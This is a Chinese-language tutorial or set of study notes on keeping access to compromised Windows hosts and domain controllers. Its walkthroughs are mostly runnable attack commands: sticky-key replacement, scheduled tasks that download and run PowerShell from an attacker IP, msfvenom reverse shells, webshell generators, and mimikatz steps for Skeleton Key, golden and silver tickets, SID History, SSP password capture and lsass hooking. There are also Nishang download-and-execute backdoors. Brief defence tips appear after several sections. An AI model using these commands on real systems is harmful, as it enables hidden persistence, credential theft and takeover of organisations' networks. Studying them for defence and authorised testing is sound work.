内网之权限维持分析总结
青 叶

内网之权限维持分析及防御

后门,本意是指在建筑物的背面开设的门,通常较为隐蔽。在信安领域,后门是指通过绕过安全控制措施获取对程序或系统访问权限的方法。简单地说,后门就是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。

攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即便修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。

操作系统后门分析与防范

泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制系统的正规用户认证过程。

粘滞键后门

一种常见的持续控制方法。

在Windows主机上连续按5次”Shift”键,就可以调出粘滞键。该程序主要为无法同时按多个按键的用户设计的。例如截图时,使用Win + Shift + S,用户需要同时按键,如果使用粘滞键,则需要按下一个键。

使用可执行文件替换windows\system32目录下的粘滞键可执行文件sethc.exe

1
2
3
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

这样连续按五次Shift键时,就会启动CMD,并且权限为System。

MSF添加粘滞键后门

Empire这东西已经太久没人维护了,使用MSF添加粘滞键后门(需要高权限)如下:

1
2
3
4
5
6
# in meterpreter
run post/windows/manage/sticky_keys
# when background
use post/windows/manage/sticky_keys
set session [session_id]
run
防御措施
  • 在远程登录服务器时,连续按5次Shift键,判断是否被入侵
  • 拒绝使用sethc.exe或者关闭启用粘滞键选项

注册表注入后门

普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键HKCU:Software\Microsoft\Windows\CurrentVersion\Run中(键名任意)。

MSF添加注册表注入后门

先上传一个后门程序,然后枚举键值(Meterpreter下):

1
2
3
reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\run
# normal user
reg enumkey -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

添加一条记录:

1
2
3
reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\run -v bd -d "C:\bd.exe"
# normal user
reg setval -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\run -v bd -d "C:\bd.exe"
防御措施

杀毒软件都有专门的查杀机制,可以进行扫描。

计划任务后门

在之前的横向移动总结里使用过这个进行横向移动;建立ipc$连接后使用这个命令可以在目标主机上创建计划任务,从而拿下目标主机。

这里的主要是使用计划任务进行权限维持,部署后门。

在Win 7之前的操作系统使用at钓鱼,自Win 8开始使用schtasks命令调用。计划任务后门分为管理员权限和普通用户权限两种,管理员权限的后门可以设置更多的计划任务,例如重启后运行等。

计划任务后门的基本命令如下:

1
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
在MSF中模拟计划任务后门

使用MSF的Powershell Payload Web Delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。由于该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测。

1
2
3
4
5
6
7
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.140.128
set lport 443
set URIPATH /
run

此时如果在目标系统中下载后门代码并运行,就会生成一个新的会话:

1
schtasks /create /tn WindowsUpdate /tr "C:\Windows\System32\Powershell.exe -WindowStyle Hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.140.128:8080/'''))'" /sc onlogon /ru System

如果攻击者在目标系统中创建一个计划任务,就会加载生成的后门:

  1. 用户登录

    1
    schtasks /create /tn WindowsUpdate /tr "C:\Windows\System32\Powershell.exe -WindowStyle Hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.140.128:8080/'''))'" /sc onlogon /ru System
  2. 系统启动

    1
    schtasks /create /tn WindowsUpdate /tr "C:\Windows\System32\powershell.exe -WindowStyle Hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.140.128:8080/'''))'" /sc onstart /ru System
  3. 系统空闲

    1
    schtasks /create /tn WindowsUpdate /tr "C:\Windows\System32\powershell.exe -WindowStyle Hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.140.128:8080/'''))'" /sc onidle /i 1

但如果此时目标系统中安装了防护软件,可能弹出警告。

PowerSploit中模拟计划任务后门

将PowerSploit中的Persistence.psm1模块上传,然后使用:

1
2
3
4
5
6
Import-Module ./Persistence.psm1

$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption
$ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

在上面的命令中,shuteer.ps1是计划任务要执行的Payload,可以使用msfvenom生成:

1
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.140.128 lport=443 -f psh-reflection -o shuteer.ps1

Meterpreter后门

使用:

1
run post/windows/manage/persistence_exe [-arg]

这里的一个参数可以使用-h显示帮助菜单。

然后定制即可。

但是这个的原理是在目标主机上创建文件,并且安装为自启动方式,因此可能会受到安全防护软件的扫描、查杀。

Cymothpa后门

这是一款可以将ShellCode注入现有进程的后门工具,使用Cymothoa注入的后门程序能够与被注入的程序共存。

好久之前的工具了,不过很强大

项目地址:cymothoa - Browse Files at SourceForge.net

使用方法:

1
./cymothoa -s 0 -p 2211 -y 4444

其帮助文档:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 1                               _                 
2 _ | |
3 ____ _ _ ____ ___ _| |_| |__ ___ _____
4 / ___) | | | \ / _ (_ _) _ \ / _ \(____ |
5 ( (___| |_| | | | | |_| || |_| | | | |_| / ___ |
6 \____)\__ |_|_|_|\___/ \__)_| |_|\___/\_____|
7 (____/
8 Ver.1 (beta) - Runtime shellcode injection, for stealthy backdoors...
9
10 By codwizard (codwizard@gmail.com) and crossbower (crossbower@gmail.com)
11 from ES-Malaria by ElectronicSouls (http://www.0x4553.org).
12
13 Usage:
14 cymothoa -p <pid> -s <shellcode_number> [options]
15
16 Main options:
17 -p process pid
18 -s shellcode number
19 -l memory region name for shellcode injection (default /lib/ld)
20 search for "r-xp" permissions, see /proc/pid/maps...
21 -m memory region name for persistent memory (default /lib/ld)
22 search for "rw-p" permissions, see /proc/pid/maps...
23 -h print this help screen
24 -S list available shellcodes
25
26 Injection options (overwrite payload flags):
27 -f fork parent process
28 -F don't fork parent process
29 -b create payload thread (probably you need also -F)
30 -B don't create payload thread
31 -w pass persistent memory address
32 -W don't pass persistent memory address
33 -a use alarm scheduler
34 -A don't use alarm scheduler
35 -t use setitimer scheduler
36 -T don't use setitimer scheduler
37
38 Payload arguments:
39 -j set timer (seconds)
40 -k set timer (microseconds)
41 -x set the IP
42 -y set the port number
43 -r set the port number 2
44 -z set the username (4 bytes)
45 -o set the password (8 bytes)
46 -c set the script code (ex: "#!/bin/sh\nls; exit 0")
47 escape codes will not be interpreted...

WMI型后门

该后门类型只能由管理员权限的用户运行,通常使用Powershell编写。

可以直接从新的WMI属性中读取和执行后门代码、给代码加密。通过这种方法,攻击者在系统中安装一个具有持久性的后门,且不会在系统磁盘留下任何文件。

WMI型后门主要使用了WMI的两个特征,即无文件和无进程。其基本原理是:将代码加密存储于WMI中,达到所谓的无文件;设定条件满足时,系统自动启动Powershell进程执行后门程序,执行后,进程消失,达到所谓的无进程。

PowerSploit添加WMI型后门
1
2
3
4
Import-Module .\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath Payload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

Web后门分析与防范

Nishang下的WebShell

Nishang是一款针对Powershell的渗透测试工具,集成了大量的Payload。

ASPX大马在Antak-WebShell下。

Weevely后门

这是使用Python编写的针对PHP平台的Webshell,Kali里有。

生成一个WebShell:

1
weevely generate password ~/shell.php

其内容:

image

连接:

1
weevely http://localhost/shell.php password

该工具的操作可以查看其帮助文档。

Webacoo后门

即Web Backdoor Cookie,也是针对PHP平台的。

Kali已经不带的,需要安装,毕竟比较古老的工具了。

生成WebShell:

1
webacoo -g -o shell.php

其内容:

image

连接WebShell:

1
webacoo -t -u http://localhost/shell.php

ASPX Meterpreter后门

MSF中有一个shell_reverse_tcp的Payload可以创建具有Meterpreter的Shellcode。

PHP Meterpreter后门

也有PHP 的Meterpreter后门。

域控制器权限持久化分析与防范

DSRM域后门

DSRM域后门简介

DSRM(Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控的安全模式启动选项。每个域控都有一个本地管理员账户(即DSRM账户)。DSRM的用途是:允许管理员在域坏境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。

在渗透测试中,可以使用DSRM账号对域坏境进行持久化操作。如果域控的系统版本为Win Server 2008,需要安装KB961320才可以使用指定域账户的密码对DSRM的密码进行同步。在Win Server 2008以后的系统则不需要安装此补丁。如果域控的操作系统版本为Win Server 2003则不可以使用该方法。

每个域控都有本地管理员账号和密码。DSRM账号可以作为一个域控的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

修改DSRM密码的方法

微软公布了修改DSRM密码的方法。在域控上打开命令行环境,常用命令说明如下:

  • NTDSUTIL:打开ntdsutil
  • set dsrm password:设置DSRM的密码
  • reset password on server null:在当前域控上恢复DSRM密码
  • <PASSWORD>:修改后的密码
  • q(第一次):退出DSRM密码设置模式
  • q(第二次):推出ntdsutil

如果域控的系统版本为Win Sever 2008或以上并已安装KB961320,可以将DSRM密码同步为已存在的域账号密码,常用命令说明如下:

  • NTDSUTIL:打开ntdsutil
  • SET SDRM PASSWORD:设置SDRM的密码
  • SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步
  • q(第一次):推出DSRM密码设置模式
  • q(第二次):推出ntdsutil
实操
  1. 使用mimikatz查看krbtgt的NTLM Hash

    在域控中:

    1
    2
    3
    mimikatz.exe
    mimikatz # privilege::debug
    mimikatz # lsadump::lsa /patch /name:krbtgt
  2. 使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

    在域控中:

    1
    2
    mimikatz # token::elevate
    mimikatz # lsadump::sam

    输出的Administrator的NTLM Hash就是DSRM账号的NTLM Hash。

  3. 将DSRM账号和krbtgt的NTLM Hash同步

    1
    2
    3
    4
    5
    6
    7
    C:\ntdsutil
    NTDSUTIL: SET DSRM PASSWORD
    Reset DSRM Administrator Password: SYNC FROM DOMAIN account krbtgt
    Password has been synchronized successfully.

    Reset DSRM Administrator Password: q
    NTDSUTIL: q

    可以看到上面的Password has been synchronized successfully.就证明同步成功了。

  4. 查看DSRM的NTLM Hash是否同步成功

    通过mimikatz在查一次Hash,命令同步骤2. 如果看到NTLM Hash和krbtgt的一样就成功了。

  5. 修改DSRM的登陆方式

    主要通过修改注册表实现:

    1
    HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior

    类型为一个DWORD(32 Bit),三个值表示含义:

    • 0:默认值,只有当域控重启进入DSRM模式才可以使用DSRM账号登陆
    • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账户登陆域控
    • 2:任何情况下都可以使用DSRM账户登陆域控

    在只有终端环境的情况下,可以使用Powershell进行修改:

    1
    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
  6. 使用DSRM账号通过网络远程登陆域控

    使用mimikatz进行哈希传递。在域成员机器的管理员模式下打开mimikatz:

    1
    2
    privilege::debug
    sekurlsa::pth /domain:DC /user:Administrator /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXX
  7. 使用mimikatz的dcsync功能远程转储krbtgt的NTLM Hash

    哈希传递完成后,会弹出一个命令窗口。打开mimikatz,输入命令:

    1
    lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt
DSRM域后门的防御措施
  • 定期检查注册表中用于控制DSRM登陆方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认其值为1,或者删除该键值
  • 定期修改域中所有域控的DSRM账号
  • 经常检查ID为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

SSP维持域控权限

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。

SSPI(Security Support Provider Interface,安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI时SSP的API接口。

如果已经拿到了目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登陆策略;在系统启动时,SSP被加载到lsass.exe进程中。但是,如果攻击者对LSA进行了拓展,定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这一,即使用户更改密码并重新登陆,攻击者依然可以获取该账号的新密码。

内存注入

使用mimikatz可以将伪造的SSP注入内存。这样做不会在系统中留下二进制文件,但如果域控重启,伪造的SSP就会丢失。

1
2
privilege::debug
misc::memssp

如果当前用户注销并且重新登陆,就可以获取都明文密码,存储在:C:\Windows\System32\mimilsa.log中。

添加DLL到注册表

将mimikatz的mimilib.dll放到系统的C:\Windows\System32\下,并且修改注册表:

HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages,将DLL文件名加入到其中。

这样即便重启,账号的密码明文就会记录在:C:\Windows\System32\kiwissp.log中。

SSP维持域控权限的防御措施
  • 检查注册表HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages是否有可疑的DLL文件
  • 检查C:\Windows\System32\目录下是否有可疑的DLL文件
  • 使用第三方工具检查LSA中是否含有可疑的DLL文件

SID History域后门

每个用户都有自己的SID,其主要作用是跟踪安全主体控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的一个属性。

若A域的域用户迁移到B域,那么在B域中新建的用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原本可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。如果获取到了域管权限,就可以将SID History作为实现持久化的方法。

实操

将Administrator的SID添加到恶意用户test的SID History属性中。使用Powershell查看test用户的SID History属性。

首先打开一个具有域管权限的命令行窗口,然后打开mimikatz,将Administrator的SID添加到test用户的SID History属性中。

在使用mimikatz注入SID之前,使用sid::patch命令修复NTDS服务,否则无法将高权限的SID注入地权限用户的SID History属性

1
2
privilege::debug
sid::add /sam:test /new:administrator

这个时候使用test用户登陆系统,测试其是否具有Administrator的权限即可。

SID History域后门的防御措施

SID History域后门的特点是:

  • 在控制域控后,可以通过注入SID History属性完成持久化任务
  • 拥有高权限的SID用户,可以使用Powershell远程导出域控制器的ntds.dit
  • 如果不需要通过SID History属性实现持久化,可以在mimikatz中执行命令sid::clear /sam:username清除其SID History属性

则其防御措施如下:

  • 经常查看域用户中SID为500的用户
  • 完成域迁移工作后,对有相同SID History属性的用户进行检查
  • 定期检查ID为4765(添加SID History属性)和4766的日志(添加SID History失败)。

黄金票据 - Golden Ticket

在域环境中,一般存在一个SID为502的域账号krbtgt,该账号是KDC服务所使用的账号,属于Domain Admins组。每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NTLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

在使用域的黄金票价进行票据传递攻击时,通常要掌握以下信息。

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash或者AES-256 HMAC值
环境

域控:

  • IP:192.168.100.205
  • 域名:pentest.com
  • 用户名:administrator
  • 密码:Aa123456@

域成员服务器:

  • IP:192.168.100.146
  • 域名:pentest.com
  • 用户名:dm
  • 密码:a123456@
导出krbtgt的NTLM Hash

打开命令行环境,加载mimikatz:

1
lsadump::dcsync /domain:pentest.com /user:krbtgt

这会使用mimikatz的dcsync功能转储远程AD的ntds.dit,指定/user可以只导出krbtgt的信息。

获取基本信息
  1. 获取域SID

    在命令行环境输入命令:

    1
    wmic useraccount get name,sid

    这种方式可以通过普通域用户权限获取域内所有用户的SID。

  2. 获取当前用户的SID

    输入如下命令,获取当前用户的SID:

    1
    whoami /user
  3. 查询域管账号

    1
    net group "domain admins" /domain
  4. 查询域名

    1
    ipconfig /all
生成并注入黄金票据
  1. 查看当前用户极其所属组

    1
    net user dm /domain
  2. 检查权限

    1
    dir \\dc\c$

    如果提示Access is denied,则表示权限不足。

  3. 清空票据

    在mimikatz中输入:

    1
    kerberos::purge
  4. 生成黄金票据

    在mimikatz中输入:

    1
    kerberos::golden /admin:Administrator /domain:pentest.com /sid:S-1-5-21-XXXXXXXXXXXX-XXXXXXXXXXX-XXXXXXXXXX /krbtgt:XXXXXXXXXXXXXXXXXX /ticket:Administrator.kirbi

    如果拿到的是AES-256 HMAC,则使用:

    1
    kerberos::golden /admin:Administrator /domain:pentest.com /sid:S-1-5-21-XXXXXXXXXXXX-XXXXXXXXXXX-XXXXXXXXXX /aes256:XXXXXXXXXXXXXXXXXX /ticket:Administrator.kirbi
  5. 注入票据到内存

    1
    kerberos::ptt Administrator.kirbi
  6. 检索当前会话中的票据

    1
    kerberos::tgt
  7. 验证权限

    推出Mimikatz,然后输入:

    1
    dir \\dc\c$

    此时应该可以正常访问。

黄金票据的防御

管理员通常会修改域管理员的密码,但是有时会忘记修改krbtgt的密码,所以,如果想要防御Golden Ticket攻击,需要修改krbtgt密码两次。

! 无语,书上在讲什么啊,什么忘记修改密码就需要修改两次krbtgt密码???

个人的理解是,修改一次会使得利用旧NTLM Hash创建的新金票失效,但是为了保证域内其余已经颁发票据的使用,旧票据仍然可以使用,第二次修改则是让原先的旧票据失效。

使用黄金票据伪造的用户可以是任意用户,即便该用户不存在。由于TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT的所有信息都是可信的。

只有下面两种情况才能修改krbtgt密码:

  • 域功能级别从Win 2000或WIn Server 2003提升至Windows Server 2008或Windows Server 2012。提升域功能的过程中,krbtgt的密码会被自动修改。在大型企业,提升域功能饥饿耗时耗力,绝大多数不会做这样的操作。
  • 用户自行进行安全检查和相关服务加固时会修改krbtgt的密码。

白银票据 - Silver Ticket

不同于黄金票据伪造TGT,白银票据伪造的是ST,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控,很少留下日志。而黄金票据在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT的真伪进行校验。

白银票据依赖于服务账号的密码散列值,这不同于黄金票价利用需要使用krbtgt账号的密码散列值,因此更加隐蔽。

银票会通过相应的服务账号来伪造TGS,例如LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限,由特定的服务账号加密。

制造银票需要以下的信息:

  • 域名
  • 域SID
  • 目标服务器的FQDN
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 需要伪造的用户名
伪造CIFS银票
  1. 获取服务账号的NTLM Hash

    在域控中,使用mimikatz查看服务账号的NTLM Hash:

    1
    mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

    这样应该可以看到DC$账户的NTLM Hash。

  2. 伪造银票

    接下来清空系统的票据:

    1
    klist purge

    使用mimikatz伪造银票:

    1
    kerberos::golden /domain:pentest.com /sid:S-1-5-XXXXXX-XXXXXXXX-XXXXXXXX /target:dc.pentest.com /service:cifs /rc4:XXXXXXXXXXXXX /user:dm /ptt
  3. 验证权限

    1
    dir \\dc\c$

    能访问证明票据已经生效。

伪造LDAP银票
  1. 使用dcsync从域控获取指定用户的账号和密码散列值

    1
    lsadump::dcsync /dc:dc.pentest.com /domain:pentest.com /user:krbtgt

    如果出现ERROR的话,那么就说明当前权限无法进行dcsync操作。

  2. 在域控中使用mimikatz获取服务账号的NTLM Hash

    1
    mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

    这可以看到DC$的NTLM Hash

  3. 然后在命令行环境下清除票据

    1
    klist purge
  4. 使用mimikatz伪造银票

    1
    kerberos::golden /domain:pentest.com /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /target:dc.pentest.com /service:LDAP /rc4:XXXXXXXXXXXXXXXXX /user:dm /ptt
  5. 验证权限

    此时再使用dcsync进行同步:

    1
    lsadump::dcsync /dc:dc.pentest.com /domain:pentest.com /user:krbtgt

    此时应该没有问题。

其他服务

银票可以伪造其他服务,包括创建和修改计划任务、使用WMI对远程主机执行命令、使用Powershell进行远程主机管理等:

服务类型 服务白银票据
WMI HOST
RPCSS
Powershell Remoting HOST
HTTP
Depending on OS version may also need:
WSMAN
RPCSS
WinRM HOST
HTTP
Scheduled Tasks Host
Windows File Share(CIFS) HOST
LDAP operations including mimikatz DCSync LDAP
Windows Remote Server Administration Tolls RPCSS
LDAP
CIFS
白银票据的防御
  • 内网中安装杀毒软件、及时更新系统补丁
  • 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
  • 计算机的账号和密码默认没30天更改一次,检查设置是否生效

Skeleton Key

使用万能密码,也可以对域内权限进行持久化操作。

环境

远程系统:

  • 域名:pentest.com

域控:

  • 主机名:DC
  • IP地址:192.168.100.205
  • 用户名:administrator
  • 密码:a123456#

域成员服务器:

  • 主机名:computer1
  • IP地址:192.168.100.200
  • 用户名:dm
  • 密码:a123456@
初始权限确认

尝试使用当前登陆用户列出域控的C盘共享目录中的文件:

1
dir \\192.168.100.205\c$

此时如果是一个普通域用户,则会提升权限不足。

使用账密连接:

1
2
net use \\192.168.100.205\ipc$ "a123456#" /user:petest\administrator
dir \\192.168.100.205\c$

此时应该可以看到目录情况。

使用mimikatz注入Skeleton Key

在域控中:

1
2
privilege::dbug
misc::skeleton

如果注入成功,会给域内所有的账号都添加一个Skeleton Key,其默认密码为mimikatz

使用Skeleton Key访问域控

先将原有的ipc$连接删除:

1
net use \\192.168.100.205\ipc$ /del /y

然后使用万能密码与域控建立ipc$连接:

1
2
net use \\dc\ipc$ "mimikatz" /user:pentest\administrator
dir \\dc\c$

不出意外应该可以看到目录情况。

Skeleton Key的防御措施

2014年微软在Windows系统中添加了LSA保护策略,从而防止lsass.exe进程被恶意注入,有效防止了mimikatz在非允许情况下提权到debug权限。通用的Skeleton Key的防御措施如下:

  • 域管理员用户要设置强口令,确保恶意代码不会在域控中执行
  • 在所有域用户中启用双因子认证,例如智能卡认证
  • 启动程序白名单(例如AppLocker),以限制mimikatz在域控中运行

日常维护中,注意以下方面也可以有效防范Skeleton Key:

  • 向域控注入Skeleton Key的方法,只能在64位系统中使用,包括Windows Server 2012(R2)、Windows Server 2008(R2)、Windows Server 2003(R2)
  • 只有具有域管权限的用户可以将Skeleton Key注入域控的lsass.exe
  • 域控重启那么Skeleton Key就会失效

Hook PasswordChangeNotify

此作用是当用户修改密码后在系统中进行同步,攻击者可以利用该功能获取用户修改密码时输入的密码明文。

修改密码时,用户输入新密码后,LSA会调用PasswordFilter来检查该密码是否符合复杂性要求。如果符合,LSA就会调用PasswordChangeNotify来在系统中同步密码。

HookPasswordChange.dll

项目地址在这:clymb3r/Misc-Windows-Hacking: Miscellaneous projects related to attacking Windows. (github.com)

看大佬的文章说是要编译时选择在静态库中使用MFC,所以用VS编译的话,注意通用C++的载荷是不够的,要选上MFC开发。

image

然后目标架构需要也一样,这里给出我的DLL:

然后是Powershell脚本,看起来好像是PowerSploit里的,实际上不是,下载连接:PowerShell/Invoke-ReflectivePEInjection.ps1 at master · clymb3r/PowerShell (github.com)

然后执行:

1
2
Import Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath ./HookPasswordChange.dll -procname lsass

修改密码:

1
net user de1ay 1qaz@WSX

然后可以看到:

image

Hook PasswordChangeNotify的防御措施

使用该方法不需要重启系统,也不会在磁盘中留下DLL文件,不需要修改注册表。因此被攻击,是很难检测到的。所以日常网络维护中,需要对Powershell严格监视,并启用约束语言模式,对Hook PasswordChangeNotify进行防御。

Nishang下的脚本后门分析与防范

Nishang是基于Powershell的渗透测试攻击。

HTTP-Backdoor脚本

该脚本可以帮助攻击者在目标主机上下载和执行Powershell脚本,接收来自第三方网站的指令,在内存中执行Powershell脚本,其语法如下:

1
2
3
4
HTTP-Backdoor [-CheckURL] <String> [-PayloadURL] <String> [[-Arguments] <String>]
[-MagicString] <String> [-StopString] <String> [<CommonParameters>]
# 例如
HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -MagicString start 123 -StopString stopthig
  • -CheckURL:给出一个URL地址。如果地址存在,MagicString中的值就会执行Payload,下载并运行攻击者的脚本
  • -PayloadURL:给出需要下载的Powershell脚本的地址
  • -StopString:判断是否存在CheckURL返回的字符串,如果存在则停止执行

Add-ScrnSaveBackdoor脚本

该脚本可以帮助攻击者利用Windows的屏幕保护程序来安插一个隐藏的后门,具体如下:

1
2
3
4
5
6
Add-ScrnSaveBackdoor [[-Payload] <String>] [[-PayloadURL] <String>] [[-Arguments] <String>]
[[-NewScreenSaver] <String>] [<CommonParameters>]
# 例如
Add-ScrnSaveBackdoor -Payload "powershell.exe -ep Bypass -noprofile -noexit -c Get-Process" # 执行payload
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis # 在powershell中执行一个HTTP-Backdoor脚本
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1
  • -PayloadURL:指定需要下载的脚本的地址
  • -Arguments:指定需要执行的函数及相关参数

攻击者也可以使用msfvenom生成一个PowerShell,然后执行命令:

1
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell

Execute-OnTime

该脚本用于在目标主机上指定Powershell脚本的执行时间,与HTTP-Backdoor脚本的使用方法相似,只不过增加了定时功能,其语法如下:

1
2
3
4
Execute-OnTime [-PayloadURL] <String> [[-Arguments] <String>] [-time] <String> [-CheckURL]
<String> [-StopString] <String> [<CommonParameters>]
# 例如
Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
  • -PayloadURL:指定下载的脚本的地址
  • -Arguments:指定要执行的函数名
  • -Time:设置脚本执行的时间,例如-Time 23:11
  • -CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行

Invoke-ADSBackdoor

该脚本能够在NTFS数据流中留下一个永久性的后门。这种方法的威胁时很大的,因为留下的后门是永久性的,且不容易被发现。

命令如下:

1
Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1

执行后只能通过:

1
dir /a /r

才能看到写入的文件。